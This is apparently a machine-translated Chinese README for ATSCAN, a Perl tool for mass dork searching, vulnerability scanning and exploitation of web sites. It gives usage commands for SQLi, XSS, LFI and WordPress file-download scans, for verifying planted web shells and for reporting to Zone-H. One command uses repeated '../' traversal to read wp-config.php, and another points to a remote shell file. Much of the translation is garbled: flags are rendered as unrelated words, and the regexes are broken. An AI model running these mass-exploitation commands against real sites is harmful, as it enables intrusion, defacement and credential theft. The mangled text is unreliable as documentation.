ATSCAN

ATSCAN掃描儀

高級大眾搜索 /笨蛋 /剝削掃描儀

Alisam Technology對未經同意的任何腳本造成的濫用，由此腳本造成的損害或攻擊目標概不負責！遵守法律是您的責任！

代號：	4N0N4T
作者：	Ali Mehdioui
團體：	Alisam@Technology

★描述：

●發動機：[Google Apis Cache] Bing Ask Yandex Sogou Exalead Shodan ●大眾傻瓜搜索 ●多次即時掃描。 ●大規模剝削 ●使用代理。 ●隨機用戶代理。 ●隨機引擎。 ●大規模外部命令執行。 ●利用和問題搜索。 ●XSS / SQLI / LFI / AFD掃描儀。 ●過濾WordPress和Joomla站點。 ●WordPress主題和插件檢測。 ●查找管理頁。 ●解碼 /編碼base64 / MD5	●端口掃描。 ●收集IP ●收集電子郵件。 ●自動檢測錯誤。 ●自動檢測表格。 ●自動檢測CMS。 ●發布數據。 ●自動序列中繼器。 ●驗證。 ●發布並獲取方法 ●IP本地化 ●問題並利用搜索 ●交互式和正常接口。 ●以及更多...

★要安裝的庫：

需要PERL。 在所有平台中工作。在Blackarch和Dracos Linux中可用。

★下載：

●git克隆https://github.com/alisamtechnology/alscan ●直接鏈接：https：//github.com/alisamtechnology/Atscan

★許可：

CD ATSCAN chmod +x ./atscan.pl

★安裝：

chmod +x ./install.sh ./install.sh

★執行：

便攜式執行：perl ./atscan.pl 安裝工具執行：ATSCAN 菜單：應用程序> Web應用程序分析> ATSCAN

★維修工具：

ATSCAN-修復

★卸載工具：

ATSCAN - Uninstall

★命令：

- 螺旋 / -h 幫助。 - 代理人 設置掃描的tor代理[ex：-proxy“ socks4：// localhost：9050”] 設置代理[ex：-proxy“ http：//12.45.44.2:8080”] 設置代理列表[ex：-proxy文件] - prandom 隨機代理[ex： - prandom file]或 - prandom“襪子：// localhost：9050”] -Motor / -m bing Google問Yandex Sogou Exalead Googleapis GoogleCache或所有 - Apikey Apikey -cx Googleapis ID - mrandom 給定引擎的隨機 - Brandom 隨機所有投票代理 - 弗雷克 隨機時間頻率（以秒為單位） - 時間 設置瀏覽器超時 -dork / -d 傻瓜搜索[ex：House [其他]汽車[其他]酒店] -target / -t 目標 - 級別 / -l 掃描水平（掃描結果頁面的數量） - 區 搜索引擎國家。 - Param / -p 設置測試參數EX：ID，CAT，PRODUCT_ID -save / -s 輸出。 - 來源 HTML輸出文件 - -bugtraq SERACH利用和問題 - 內容 打印請求內容 - 數據 發布並獲取表格。見示例 - vshell 通過URL ex驗證： - host/shell.php或文件 - 郵政 使用郵政方法 - 得到 使用獲取方法 - 頭 設置標題 - 滿頭 打印完整的請求標題 - 主持人 域名[ex：site.com] - Nobanner 隱藏工具橫幅 - 嘟 如果發現正掃描，則會產生蜂鳴聲。 - ifend 掃描過程完成後產生蜂鳴聲。 - 納入 沒有掃描冗長。 - ping 主機ping。 - 限制 限制最大陽性掃描結果。 - valid / -v 通過字符串驗證至少1匹配 - 瓦利德爾 驗證所有給定的字符串 - 地位 通過HTTP標頭狀態進行驗證 --伺服器 通過服務器驗證 - ifinurl 獲得具有精確字符串匹配的目標 - 瑞格克斯 獲得具有確切正則匹配的目標 - 排除 獲取html中不存在字符串的目標 - ExcludeAll 獲取HTML中所有字符串不存在的目標 - 獨特的 獲得具有確切dork匹配的目標 - 代替 替換精確的字符串 - 從重建 從字符串到目標末端替換 -exp / -e 利用/有效載荷將添加到完整的目標 - exphost 漏洞利用將添加到主機 - Expip 漏洞利用將添加到主機IP -xss XSS掃描 -SQL SQLI掃描 -lfi 本地文件包含 - joomrfi 掃描Joomla本地文件包含。 - 殼 shell鏈接[ex：http：//www.site.com/shell.txt] -WPAFD 掃描WordPress網站以進行任意文件下載 - 行政 獲取站點管理頁面 - 主機 獲取站點子域 - 港口 港口 -tcp TCP端口 - udp UDP端口 - getLinks 獲取目標HTML鏈接 -WP WordPress網站 - 喬姆 Joomla網站 - 拉鍊 獲取zip文件 -MD5 轉換為MD5 -encode64 編碼base64字符串 -decode64 解碼base64字符串 - 目標 將在Extern命令中被Target替換 - 主持人 將由Extern命令中的主機替換 - 主持人 將由主機IP替換在Extern命令中 - 港口 將由Extern命令中的開放端口取代 -ips 收集IP -Geoloc IP地球化 - regex 爬行以獲取符合正則符合正則的琴弦 - 毫無意義 從查詢URL中刪除字符串值[ex：site.com/index.php?id=string] - 命令 / -c 外部命令執行 - 彈出窗口 在新終端窗口中執行外部命令 -Zoneh 上傳到Zone-H -savecookie Cookies輸出文件 - 固定的 cookie文件 - 電子郵件 收集電子郵件 響（xy） 例如：-exphost“ /index.php?id=rang(1-9）” -SQL或-T” site.com/index.php?id=rang=rang(1-9）” - -SQL site.com/index.php?id=1-> 9。 重複（txt-y） 例如：-exphost“/index.php?id=repeat(../-9)wp-config.php” -status 200或-t“ site.com/index.php?id=../wp-config.php” 在site.com/index.php?id=../wp-config.php中，然後site.com/index.php?id=../../wp-config.php 9次 [其他] 分離值ex：dork1 [other] dork2 [other] dork3 - googleapi Google API - 肖丹 Shodan搜索 - 數數 搜索沒有結果的shodan - 數數 搜索shodan - dnsreverset Shodan反向DNS查找 - dnsresolve Shodan解決DNS查找 - tokens 字符串過濾器和參數 - Queryysearch 搜索保存的Shodan搜索查詢目錄 - 詢問 列出保存的Shodan搜索查詢 - QueryTags 列出最受歡迎的Shodan標籤 -Myip 列出Shodan爬網的所有服務 - 服務 列出Shodan爬網的所有服務 - apinfo 我的Shodan API計劃信息 - 港口 爬蟲正在尋找的端口號列表 - 合理 列出在通過Shodan執行按需互聯網掃描時可以使用的所有協議。 - 金錐 計算蜜罐分數範圍從0（不是蜜罐）到1.0（是蜜罐） - 面 Shodan搜索方面 - 更新 更新工具 - 維修 維修或強制工具更新。 - 工具 / -？ 工具信息。 -Config 用戶配置。 - 互動 / -i 交互式模式接口。 --解除安裝 卸載工具。

★例子：

●代理： tor：-proxy [proxy] [ex： - -proxy Socks：// localhost：9050]。 代理：-proxy [代理] ex：-proxy http：//12.32.1.5:8080 或-proxy文件ex：-proxy my_proxies.txt ●隨機： 隨機代理： - prandom [代理文件] 隨機瀏覽器： - Brandom 隨機發動機：-mrandom [引擎] ●設置標頭： ATSCAN - dork [dork / dorks.txt] - level [level] -HEADER“授權=>'基本ywrtaw46ywrtaw4'，keep_alive =>'1'” atscan -t target -data“ name =>用戶名，email => xxxxxx，pass => xxxxx” - post -header“授權=>'基本ywrtaw46ywrtaw4'，keep_alive =>'1' ●搜索引擎： 搜索：AtScan- -dork [dork] - level [level] 搜索：ATSCAN -D [DORK] -L [latve] - GetLinks 設置引擎：ATSCAN - DORK [DORK] - LEVEL [LEVEL] -M BING或GOOGLE，詢問，Yandex或全部 設置選擇性引擎：ATSCAN -D [DORK] -L [LEVEL] -M GOOGLE，BING，.. 搜索許多傻瓜：atscan- dork dork1 [other] dork2 [other] dork3] - level [level] 獲取服務器WordPress站點：ATSCAN -T [TARGET] -WP 搜索 +輸出：ATSCAN - dork [dorks.txt] - level [level] - save -save 搜索 +獲取電子郵件：atscan -d [dorks.txt] -l [level] - email 搜索 +獲取網站電子郵件：ATSCAN - DORK網站：site.com-級別[latvel] - email 搜索 +獲取IPS：ATSCAN -DORK [DORK] - LEVEL [LEVEL] -IPS ●正則表達式： REGEX使用：ATSCAN [-dork [Dork> / -t [target]] - level [latve] -regex [regex] IP：（（？:(？：25 [0-5] | 2 [0-4] [0-9] | [01]？[0-9] [0-9] [0-9]？）。）{3}（？：25 [0-5] | 2 [0-4] [0-4] [0-9] [0-9] [0-9] | [01]？[0-9]？[0-9]？ 電子郵件： '（（（（[A-ZA-Z0-9]+_+）|（[A-ZA-Z0-9]+ - +）|（[A-ZA-Z0-9]+。+。+）|（[A-ZA-Z0--- 9]+ ++））*[a-za-z0-9]+@（（（（ w+ - +））|（ w+。））* w {1,63} 。 ●中繼器： atscan -t site.com?index.php?id=rang（1-10）-SQL atscan -t [target] - exphost“/index.php?id=rang（1-10）” - -SQL ATSCAN -T [target] -exphost“ /index.php?id=repeat(../-9)wp-config.php” ●端口 ATSCAN -T [ip] -port [port] [-udp / -tcp] ATSCAN -T（IP啟動） - （IP END）-PORT [port] [-udp / -tcp] atscan -t [ip] -port（port start） - （端口端）[ - udp / -tcp] - 命令“您的extern命令” ●編碼 /解碼： 生成MD5：-MD5 [String] Encode base64：-encode64 [String] DECODE base64：-decode64 [String] ●數據： 數據：atscan -t [target] -data“ field1 => value1，field2 => valie2，field3 => value3” [ - post / - get /] exploit：--exp / exphost -data“ field1 => valie1，field2 => valie2，field3 => valie3” --vshell [shell path] -v [string] / -status [code] [ - post / - get / - upload] WordList：-data“ field1 => value1，field2 => WordList：” --vshell [shell path] -v [string] / -status [code] [ - post / - get] ●外部命令： ATSCAN - DORK [DORK / DORKS.TXT] - 級別[級別] - 命令“ curl -v -target” ATSCAN - DORK [DORK / DORKS.TXT] - 級別[latver] - 命令“文件” ATSCAN - DORK [DORK / DORKS.TXT] -Level [Level] - 命令“ curl -v -horst” ATSCAN - DORK [DORK / DORKS.TXT] - 級別[級別] -Command“ NMAP -SV -P 21,22,80 -HOSTIP” atscan -d“/lib/scripts/dl-skin.php” -l 2 -m bing-command“ php wp-dl-skin.php-exploit.php -target” ATSCAN - -Shodan -search [string] -apikey [API鍵] -command [extern_command] ●多次掃描： ATSCAN -DORK [DORK> - LEVEL [10] -SQL - -LFI -WP .. ATSCAN - DORK [DORK> - LEVEL [10] -replace [string => new_string] -exp / exphost [有效載荷] [ - -SQL / - -lfi / -wp / ...] atscan -t [ip] - level [10] [ - -SQL / - -lfi / -wp / ...] ATSCAN -T [target] [ - -SQL / -LFI / -WP / ...] ● IP本地化： ATSCAN -T [IP/TARGET] - GEOLOC ●搜索驗證： atscan -d [dork / dorks.txt] -l [level] -status [code] / -valid [string / file] atscan -d [dork / dorks.txt] -l [level] -status [code] / -valid [string / file] atscan -d [dork / dorks.txt] -l [level] -status [code] / -exclude [string / file] atscan -d [dork / dorks.txt] -l [level] -ifinurl [string] atscan -d [dork / dorks.txt] -l [level] -sregex [regex] - valid [string] atscan -d [dork / dorks.txt] -l [level] -regex [regex] -valid [string] atscan -d [dork / dorks.txt] -l [level] - 唯一 ATSCAN -T [target / targets.txt] [-status [code] / -valid [string] atscan -t [target / targets.txt] -vshell [文件路徑] atscan -d [dork / dorks.txt] -l [latve] -exp / exphost [有效載荷] - status [code] / - valid [string] atscan -d [dorks.txt] -l [level] - replace [string => new_string] -status [code] / -valid [string] atscan -d [dork / dorks.txt] -l [latve] [ - admin / -sql ..] -status [code] / -valid [string] atscan -d [dorks.txt] -l [level] - replace [string => new_string] -status [code] / -valid [string] atscan -d [dorks.txt] -l [level] -replacefrom [string => new_string] -status [code] / -valid [string] atscan -d [dorks.txt] -l [latve] - replace [string => new_string] --exp / exphost [有效載荷] - status [code] / -valid [string] atscan -d [dork / dorks.txt] -l [級別] [ - sql / - shost ..] - status [code] / - valid [string] atscan -t [target / targets.txt] -Valid [string] - exclude [string] ●區域H： atscan -t [target / targets.txt] -v [string] -zoneh“ notifier => - horst / index.php” ●搜索利用： ATSCAN - -bugtraq -d [string] -l 1 ex：atscan -bugtraq -d wordpress -l 1 ATSCAN - -bugtraq -d file.txt -l 1 ATSCAN - -bugtraq -d [string] -l 1- limit 10 ● googleapis搜索 ATSCAN - -dork [字符串或文件] -l 1 -apikey [API鍵] -CX [ID] ATSCAN - -dork [字符串或文件] -l 1 -apikey [API鍵] -CX [id] -v [string] ATSCAN - -dork [字符串或文件] -l 1 -apikey [api鍵] -cx [id] -exp [exploit] ATSCAN - -dork [字符串或文件] -l 1 -apikey [api鍵] -CX [id] [任何APTION] ● Shodan搜索 ATSCAN- -Shodan -targget [IP或主機或文件] -Apikey [API鍵] ATSCAN- -Shodan -Dork [String或File] -apikey [API鍵] ATSCAN -SHODAN - -DNSROSVEL [IP或主機或文件] -Apikey [API鍵] ATSCAN -SHODAN -DNSREVESE [IP或主機或文件] -Apikey [API鍵] ATSCAN- -Shodan-計數[查詢或文件] -Apikey [API鍵] ATSCAN -SHODAN -QUERY -APIKEY [API鍵] ATSCAN - -Shodan -SquerySearch [查詢或文件] -Apikey [API鍵] ATSCAN -SHODAN -QueryTags -Apikey [API鍵] ATSCAN -SHODAN -MYIP -APIKEY [API鍵] ATSCAN -SHODAN -APINFO -APIKEY [API鍵] ATSCAN- -Shodan-服務-Apikey [API鍵] ATSCAN -SHODAN -PORTS -APIKEY [API鍵] ATSCAN- -Shodan- t -tokens [string或file] -apikey [api鍵] ●更新工具： ATSCAN-更新 ●卸載工具： ATSCAN - Uninstall ●謝謝： Blackarch Linux＆Dragos OS開發人員將我的項目納入他們的系統。